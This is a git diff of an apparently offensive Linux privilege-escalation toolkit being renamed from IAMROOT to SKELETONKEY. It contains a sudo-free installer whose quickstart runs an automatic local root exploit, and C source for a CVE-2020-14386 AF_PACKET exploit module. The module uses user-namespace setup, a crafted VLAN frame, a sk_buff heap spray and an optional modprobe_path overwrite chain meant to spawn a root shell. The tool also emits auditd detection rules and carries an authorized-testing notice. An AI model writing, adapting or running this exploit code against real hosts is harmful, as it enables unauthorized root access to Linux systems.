REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
|
||||
VERSION="${IAMROOT_VERSION:-latest}"
|
||||
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
# PREFIX resolution is deferred until install time so we can pick a
|
||||
# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
|
||||
# definition the operator does NOT have root yet, so the installer must
|
||||
# NEVER need sudo. Empty here means "auto-pick a writable dir below".
|
||||
PREFIX="${SKELETONKEY_PREFIX:-}"
|
||||
|
||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
||||
|
||||
# Detect architecture
|
||||
# Detect architecture. Default to the musl-static binary on both
|
||||
# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
|
||||
# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
|
||||
# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
|
||||
# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
|
||||
# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
|
||||
# 24.04 / Debian 13 / RHEL 10).
|
||||
arch=$(uname -m)
|
||||
case "$arch" in
|
||||
x86_64|amd64) target=x86_64 ;;
|
||||
aarch64|arm64) target=arm64 ;;
|
||||
x86_64|amd64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=x86_64
|
||||
else
|
||||
target=x86_64-static
|
||||
fi
|
||||
;;
|
||||
aarch64|arm64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=arm64
|
||||
else
|
||||
target=arm64-static
|
||||
fi
|
||||
;;
|
||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||
esac
|
||||
log "detected arch: $target"
|
||||
|
||||
# Resolve version → download URL
|
||||
if [ "$VERSION" = "latest" ]; then
|
||||
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
|
||||
url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
|
||||
else
|
||||
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
|
||||
url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
|
||||
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
|
||||
fi
|
||||
log "downloading from: $url"
|
||||
|
||||
@@ -56,18 +83,18 @@ fi
|
||||
tmp=$(mktemp -d)
|
||||
trap 'rm -rf "$tmp"' EXIT
|
||||
|
||||
if ! curl -fsSLo "$tmp/iamroot" "$url"; then
|
||||
if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
|
||||
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
|
||||
fi
|
||||
|
||||
# Verify checksum if available
|
||||
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
|
||||
if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
|
||||
# The .sha256 file has the binary's original name; normalize for our local copy
|
||||
expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
|
||||
expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
|
||||
actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
|
||||
actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
|
||||
else
|
||||
actual=""
|
||||
log "no sha256sum/shasum available — skipping checksum verification"
|
||||
@@ -83,31 +110,51 @@ else
|
||||
log "no checksum file at $sha_url — skipping verification"
|
||||
fi
|
||||
|
||||
chmod +x "$tmp/iamroot"
|
||||
chmod +x "$tmp/skeletonkey"
|
||||
|
||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||
target_path="$PREFIX/iamroot"
|
||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||
mv "$tmp/iamroot" "$target_path"
|
||||
elif command -v sudo >/dev/null 2>&1; then
|
||||
log "$PREFIX needs sudo; you may be prompted for password"
|
||||
sudo mv "$tmp/iamroot" "$target_path"
|
||||
# Choose install dir — NEVER escalate to sudo. If the user pinned
|
||||
# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
|
||||
# error rather than escalate when it isn't writable. Otherwise prefer
|
||||
# /usr/local/bin only when it happens to already be writable, and fall
|
||||
# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
|
||||
# privileges. This keeps `curl ... | sh` password-free for the exact
|
||||
# users this tool is meant for: unprivileged accounts.
|
||||
if [ -n "$PREFIX" ]; then
|
||||
[ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
|
||||
|| fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
|
||||
[ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
|
||||
elif [ -w /usr/local/bin ]; then
|
||||
PREFIX=/usr/local/bin
|
||||
else
|
||||
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
|
||||
PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
|
||||
mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
|
||||
fi
|
||||
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
|
||||
ok "installed: $target_path"
|
||||
|
||||
# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
|
||||
# the user how to invoke it rather than letting `skeletonkey` 404.
|
||||
case ":$PATH:" in
|
||||
*":$PREFIX:"*) : ;;
|
||||
*) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
|
||||
esac
|
||||
|
||||
"$target_path" --version
|
||||
|
||||
cat >&2 <<EOF
|
||||
|
||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||
|
||||
Quickstart:
|
||||
sudo iamroot --scan # what's this box vulnerable to?
|
||||
sudo iamroot --audit # broader system hygiene
|
||||
sudo iamroot --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules
|
||||
Quickstart (no root required — gaining it is the point):
|
||||
skeletonkey --scan # what's this box vulnerable to?
|
||||
skeletonkey --audit # broader system hygiene
|
||||
skeletonkey --auto --i-know # run the safest available LPE
|
||||
|
||||
See \`iamroot --help\` for all commands.
|
||||
Deploy detection rules (defensive; only the write to /etc/audit needs root):
|
||||
skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
See \`skeletonkey --help\` for all commands.
|
||||
EOF
|
||||
|
||||
@@ -1,27 +0,0 @@
|
||||
# Fragnesia — CVE pending
|
||||
|
||||
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
|
||||
> Phase 7+.
|
||||
|
||||
## Summary
|
||||
|
||||
ESP shared-frag in-place encrypt path can be coerced into writing
|
||||
into the page cache of an unrelated file. Same primitive shape as
|
||||
Dirty Frag, different reach.
|
||||
|
||||
## Status
|
||||
|
||||
Audit-stage. See
|
||||
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
|
||||
section on backup primitives. Notably: trigger appears to require
|
||||
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
|
||||
cap-dead, but on host systems where user_ns clone is enabled it's
|
||||
reachable.
|
||||
|
||||
## Decision needed before implementing
|
||||
|
||||
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
|
||||
yes, this module ships. If we restrict to "default Linux user
|
||||
account, no namespace tricks," this module is out of scope.
|
||||
|
||||
## Not started.
|
||||
@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
|
||||
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
|
||||
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Sibling of CVE-2017-7308; same subsystem, different code path.
|
||||
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
|
||||
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
|
||||
attempts the Or-Cohen-style sk_buff data-pointer hijack through
|
||||
the shared finisher.
|
||||
|
||||
Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
|
||||
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
|
||||
module so detection signatures dedupe cleanly.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET2_IAMROOT_MODULES_H
|
||||
#define AF_PACKET2_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet2_module;
|
||||
|
||||
#endif
|
||||
+155
-140
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — IAMROOT module
|
||||
* af_packet2_cve_2020_14386 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
|
||||
* write-before-allocation. Different bug from CVE-2017-7308 — same
|
||||
@@ -10,12 +10,12 @@
|
||||
* - Default (no --full-chain): the exploit() entry point reaches the
|
||||
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
|
||||
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
|
||||
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
|
||||
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
|
||||
* behavior — kernel-version-agnostic, no offsets baked in).
|
||||
* - With --full-chain: after the underflow lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
|
||||
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
|
||||
* us a single 8-byte heap-OOB write into the head of the
|
||||
* adjacent-page slab object; we spray sk_buffs so that next-page
|
||||
@@ -43,11 +43,8 @@
|
||||
* before backport. Embedded systems with 4.x kernels still in production.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -55,13 +52,19 @@
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/syscall.h>
|
||||
@@ -72,52 +75,6 @@
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/if_arp.h>
|
||||
#include <poll.h>
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
|
||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
||||
* The exploit path is gated at runtime on the kernel version anyway,
|
||||
* so the stubs are never reached on macOS targets. */
|
||||
#ifndef __linux__
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#define CLONE_NEWNET 0x40000000
|
||||
#define ETH_P_ALL 0x0003
|
||||
#define ETH_P_8021Q 0x8100
|
||||
#define ETH_P_8021AD 0x88A8
|
||||
#define ETH_P_IP 0x0800
|
||||
#define ETH_ALEN 6
|
||||
#define ETH_HLEN 14
|
||||
#define VLAN_HLEN 4
|
||||
#define IFF_UP 0x01
|
||||
#define IFF_RUNNING 0x40
|
||||
#define SIOCSIFFLAGS 0x8914
|
||||
#define SIOCGIFINDEX 0x8933
|
||||
#define SIOCGIFFLAGS 0x8913
|
||||
#define SOL_PACKET 263
|
||||
#define PACKET_RX_RING 5
|
||||
#define PACKET_VERSION 10
|
||||
#define PACKET_QDISC_BYPASS 20
|
||||
#define TPACKET_V2 1
|
||||
#define PACKET_HOST 0
|
||||
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
|
||||
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
|
||||
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
|
||||
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
|
||||
struct pollfd { int fd; short events, revents; };
|
||||
#define POLLIN 0x001
|
||||
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
|
||||
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
|
||||
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
|
||||
#define MAP_SHARED 0x01
|
||||
#define MAP_LOCKED 0x2000
|
||||
#define PROT_READ 0x1
|
||||
#define PROT_WRITE 0x2
|
||||
#define MAP_FAILED ((void *)-1)
|
||||
#endif
|
||||
|
||||
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
||||
{4, 9, 235},
|
||||
@@ -135,62 +92,53 @@ static const struct kernel_range af_packet2_range = {
|
||||
sizeof(af_packet2_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
|
||||
@@ -223,8 +171,6 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
* the primitive. It does not land cred overwrite.
|
||||
*/
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
||||
* objects are sprayed so the OOB write lands on attacker bytes. */
|
||||
static void af_packet2_skb_spray(int n_iters)
|
||||
@@ -280,7 +226,7 @@ static int get_ifindex(const char *name)
|
||||
/* The primitive run; executed inside the unshare()'d child. Returns
|
||||
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
|
||||
* at the kernel level (setsockopt rejected our crafted ring)". */
|
||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (bring_up_lo() < 0) {
|
||||
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
|
||||
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
||||
*
|
||||
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
||||
@@ -473,7 +410,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
* Reality check on this implementation: the deterministic mechanics
|
||||
* of the above (precise frame size, repeated spray timing, sk_buff
|
||||
* struct offset for the running kernel) are not portable enough to
|
||||
* land reliably from a single iamroot run on an arbitrary host. We
|
||||
* land reliably from a single skeletonkey run on an arbitrary host. We
|
||||
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
|
||||
* trigger sequence, then return -1 to signal "the primitive fired
|
||||
* but we cannot empirically confirm the write landed". The shared
|
||||
@@ -486,11 +423,11 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
* write-and-readback once the per-kernel sk_buff layout is pinned
|
||||
* down for the target host. */
|
||||
struct afp2_arb_ctx {
|
||||
const struct iamroot_ctx *ictx;
|
||||
const struct skeletonkey_ctx *ictx;
|
||||
int n_attempts; /* spray/fire rounds before giving up */
|
||||
};
|
||||
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
#if defined(__x86_64__)
|
||||
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||
{
|
||||
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
||||
@@ -508,12 +445,16 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
* frame would then write our payload (the modprobe_path string)
|
||||
* into the forged ->data target. */
|
||||
for (int i = 0; i < c->n_attempts; i++) {
|
||||
#ifdef __linux__
|
||||
af_packet2_skb_spray(8);
|
||||
#endif
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
/* Capture the OUTER uid/gid BEFORE unshare: after
|
||||
* unshare(CLONE_NEWUSER) getuid()/getgid() return 65534 (nobody),
|
||||
* so a post-unshare map is "0 65534 1" which the kernel rejects
|
||||
* with EPERM and the userns-root mapping silently fails. */
|
||||
unsigned outer_uid = (unsigned)getuid();
|
||||
unsigned outer_gid = (unsigned)getgid();
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
|
||||
int fd;
|
||||
fd = open("/proc/self/setgroups", O_WRONLY);
|
||||
@@ -521,13 +462,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
fd = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (fd >= 0) {
|
||||
char m[64];
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", outer_uid);
|
||||
(void)!write(fd, m, n); close(fd);
|
||||
}
|
||||
fd = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (fd >= 0) {
|
||||
char m[64];
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", outer_gid);
|
||||
(void)!write(fd, m, n); close(fd);
|
||||
}
|
||||
int rc = af_packet2_primitive_child(c->ictx);
|
||||
@@ -535,15 +476,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
}
|
||||
int st;
|
||||
waitpid(p, &st, 0);
|
||||
#ifdef __linux__
|
||||
af_packet2_skb_spray(8);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||
* empirically confirm the 8-byte write landed on an sk_buff->data
|
||||
* field on this host. Return -1 so the finisher's sentinel-check
|
||||
* loop in iamroot_finisher_modprobe_path() correctly reports
|
||||
* loop in skeletonkey_finisher_modprobe_path() correctly reports
|
||||
* "payload didn't run within 3s" rather than claiming success. */
|
||||
fprintf(stderr,
|
||||
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
|
||||
@@ -563,25 +502,28 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
}
|
||||
#endif
|
||||
|
||||
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Re-confirm vulnerability. */
|
||||
iamroot_result_t pre = af_packet2_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = af_packet2_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->authorized) {
|
||||
/* Defense in depth — the dispatcher should have gated this. */
|
||||
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -597,7 +539,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
@@ -644,7 +586,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_packet2: primitive child crashed "
|
||||
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
|
||||
WTERMSIG(status));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
switch (WEXITSTATUS(status)) {
|
||||
case 3:
|
||||
@@ -652,65 +594,136 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
|
||||
"appears patched at runtime\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
case 2:
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
case 4:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
|
||||
"(scope = PRIMITIVE-DEMO)\n"
|
||||
" For end-to-end root, see Or Cohen's public PoC "
|
||||
"(github.com/google/security-research).\n"
|
||||
" iamroot intentionally does not embed per-kernel offsets.\n");
|
||||
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||
}
|
||||
if (ctx->full_chain) {
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
#if defined(__x86_64__)
|
||||
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
||||
* sk_buff-data-pointer hijack via the shared modprobe_path
|
||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||
* resolve modprobe_path, refuse with a helpful message
|
||||
* rather than fabricate an address. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("af_packet2");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet2");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
}
|
||||
struct afp2_arb_ctx arb_ctx = {
|
||||
.ictx = ctx,
|
||||
.n_attempts = 4,
|
||||
};
|
||||
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
|
||||
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
#else
|
||||
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
/* User explicitly disabled the shell pop, so the "we didn't
|
||||
* pop a shell" outcome is the expected one. Map to OK. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
